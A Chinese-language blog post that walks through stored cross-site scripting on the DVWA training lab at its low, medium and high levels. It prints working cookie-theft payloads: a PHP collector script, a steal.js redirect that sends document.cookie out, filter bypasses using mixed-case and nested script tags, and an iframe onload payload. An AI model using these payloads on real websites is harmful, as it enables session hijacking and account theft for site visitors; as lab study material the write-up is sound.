XSS存储型跨站攻击(Stored Cross Site Scripting)

前言：

相较于XSS反射型跨站攻击，存储型具有更严重的危害，如果在窃取信息的同时对网页没有任何变化，那受害者将很难发现。

如果我有写的不太明白的地方，可以先看看之前XSS反射型跨站攻击的随笔

low：

1.观察：

测试输入模式，有两个输入框，经测试，都有输入限制，这个限制用网页查看器很容易解决，我给改成了1000，其实不改也可以，就是在message里输入payload也可以的；

2.输入：

alert测试

<script>alert("test")</script>

3.刷新：

此时已经将有攻击的脚本数据传到数据库了，刷新之后就会弹出alert，触发xss!
这就是存储型XSS攻击的厉害之处了，只要任何人访问此网址，都会触发，因此比反射型更加严重！
现在clear掉数据库信息，开始正式进行攻击。

4.php代码：

在www里新建php文件，用于偷取cookie：

<?php

$cookie=$_GET[‘cookie‘];
file_put_contents(‘get_low_dvwa_cookie.txt‘,$cookie);

?>

5.构造JS代码：

这次采取与反射型不同的方式，不在输入框里直接输入js代码段，而是在www下写脚本文件，然后利用标签加载网址对应的js代码
新建JS文件steal.js:

<script>
document.location=‘http://127.0.0.1/get_low_dvwa_cookie.php?cookie=‘+document.cookie
</script>

6.XSS攻击加载JS代码：

构造payload：

name:<script src="http://127.0.0.1/steal.js"></script>

message:steal

提交之后可以看见，界面跳转了，说明攻击成功

6.隐蔽：

现在攻击成功，但是跳转界面容易让用户怀疑，所以进一步调整，尽量隐蔽，能够不引起直观变化的情况下进行攻击获取cookie。
利用ajax，在不刷新的情况下偷取cookie！挖坑XD

medium:

用大小写组合，绕过对于<script>的处理:

<SCRIPT>
<scr<script>ipt>

接下来和low一样了。其实这里跟反射型的XSS大同小异。

high：

1.用alert尝试

不行

2.用大小写组合尝试

不行

3.换标签

用 <iframe onload=alert("test")> 测试，可行！

4.构造payload：

name:<iframe onload=document.location=‘http://127.0.0.1/get_low_dvwa_cookie.php?cookie=‘+document.cookie>

message:steal

成功！

impossible：

暂时依旧无解

后记

因为是存储型，所以测试的时候会出现，一直跳转的情况，所以在后台把记录删掉就好了。

然后是合天网安相关部分的两个思考：

1）反射型跨站和存储型跨站的区别和利用方法的不同？

反射型是偏向实时的，点对点的最有效，把链接发送给某个人，这样最好了；然后存储型是大范围撒网，一旦形成了攻击，存进了数据库，就有大把的数据了！

2）如何结合CSRF漏洞攻击？

暂时还没搞这部分，留坑

【DVWA（五）】XXS存储型攻击

原文：https://www.cnblogs.com/wayne-tao/p/11079859.html